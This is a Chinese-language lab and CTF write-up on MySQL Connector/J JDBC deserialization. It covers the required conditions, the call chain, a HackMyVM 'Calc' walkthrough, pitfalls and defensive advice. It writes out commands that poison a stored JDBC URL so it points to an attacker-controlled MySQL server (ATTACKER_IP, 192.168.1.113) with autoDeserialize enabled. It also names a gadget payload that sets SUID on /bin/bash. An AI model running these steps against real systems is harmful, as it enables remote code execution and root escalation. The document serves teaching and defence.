MySQL Connector/J JDBC 反序列化
旧版本 MySQL Connector/J 在特定参数组合下,可能会对服务端返回的数据执行 Java 反序列化。如果高权限 Java 进程读取攻击者可控的 JDBC URL,并连接到攻击者控制的 MySQL 服务,就可能从“配置字段可控”升级为 Java 代码执行。
这类利用链只适合授权实验和靶场复现。真实环境中应优先做版本、依赖和配置面审计,不要对生产服务发起恶意连接。
关键条件
| 条件 | 说明 |
|---|---|
| 可控 JDBC URL | 攻击者能修改或影响 Java 进程读取的 JDBC 连接串 |
| 旧版 Connector/J | 典型为 com.mysql.jdbc.* 5.1.x 路径 |
| 可加入危险参数 | autoDeserialize=true |
| 可触发拦截器 | statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor |
| 有 gadget 链 | classpath 中存在可用反序列化 gadget,例如 commons-collections |
| 高权限执行上下文 | 连接动作由 root、服务账号或高权限任务触发 |
| 网络可达 | 目标 Java 进程能连到恶意 MySQL 服务 |
利用思路
简化调用链:
DriverManager.getConnection(evil_jdbc_url)
-> ServerStatusDiffInterceptor.preProcess()
-> SHOW SESSION STATUS
-> 恶意 MySQL 返回 BLOB 序列化数据
-> ResultSetImpl.getObject()
-> ObjectInputStream.readObject()
-> gadget 链执行命令
这里的重点不是“数据库账号本身有 root 权限”,而是 高权限 Java 进程信任了可控 JDBC URL。
现场确认
1. 确认 JDBC URL 可控
例如数据库表中存在配置:
SELECT jdbc_url FROM system_config WHERE config_name='master_sync_node';
并且当前数据库用户能更新它:
UPDATE system_config
SET jdbc_url='jdbc:mysql://ATTACKER_IP:3307/calc_db?useSSL=false'
WHERE config_name='master_sync_node';
2. 分析 JAR 依赖
解包或反编译 JAR,确认是否存在:
com/mysql/jdbc/ResultSetImpl.class
com/mysql/jdbc/interceptors/ServerStatusDiffInterceptor.class
org/apache/commons/collections/...
如果是新版 com.mysql.cj.* 路径,利用条件和参数行为需要重新确认,不能套用旧链。
3. 确认高权限触发点
常见触发点:
| 触发点 | 风险 |
|---|---|
| root cron 执行 JAR | 可直接变成本地 root RCE |
| systemd 服务 | 取决于服务账号权限 |
| 后台同步任务 | 可能被业务配置间接控制 |
| 管理端测试连接 | 管理员点击后触发连接 |
Calc 案例流程
Calc 中的关键链条:
SQL 注入读取 system_config -> TODO.txt 泄露数据库密码
-> root cron 执行 backend_sync.jar
-> JAR 从数据库读取 jdbc_url 并二次连接
-> 毒化 jdbc_url 指向恶意 MySQL
-> CC6 payload 执行 chmod u+s /bin/bash
毒化 JDBC URL:
mysql -ucalc_user -pvocaloid_miku_01 calc_db -e \
"UPDATE system_config
SET jdbc_url='jdbc:mysql://192.168.1.113:3307/calc_db?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor'
WHERE config_name='master_sync_node';"
恶意 MySQL 服务端负责在 SHOW SESSION STATUS 时返回 Java 序列化 BLOB。Calc 文章中的附件为:rogue_mysql.py。
完整过程见:HackMyVM Calc 通关记录。
防坑点
autoDeserialize=true和拦截器参数必须实际进入目标 Java 进程的连接串。- 目标 Java 进程要连得到攻击机监听端口,防火墙或 NAT 会影响触发。
- gadget 链要匹配目标 JDK 和 classpath,不能只看本机生成 payload 成功。
- root cron 有时间间隔,更新配置后要等待下一轮触发。
- 利用结束后应恢复 JDBC URL,避免靶机持续连接攻击机。
防御建议
- 升级 MySQL Connector/J,避免使用旧版
com.mysql.jdbc.*驱动。 - 不允许低权限用户修改高权限进程会读取的 JDBC URL。
- 对 JDBC URL 做白名单校验,只允许固定 host、port、database 和安全参数。
- 高权限任务不要从普通业务表读取可执行配置。
- 移除不必要的 gadget 依赖,尤其是旧版 commons-collections。
- 限制服务出站连接,阻断高权限进程连接未知数据库地址。
- 不要在 TODO、脚本、配置文件中明文保存数据库密码。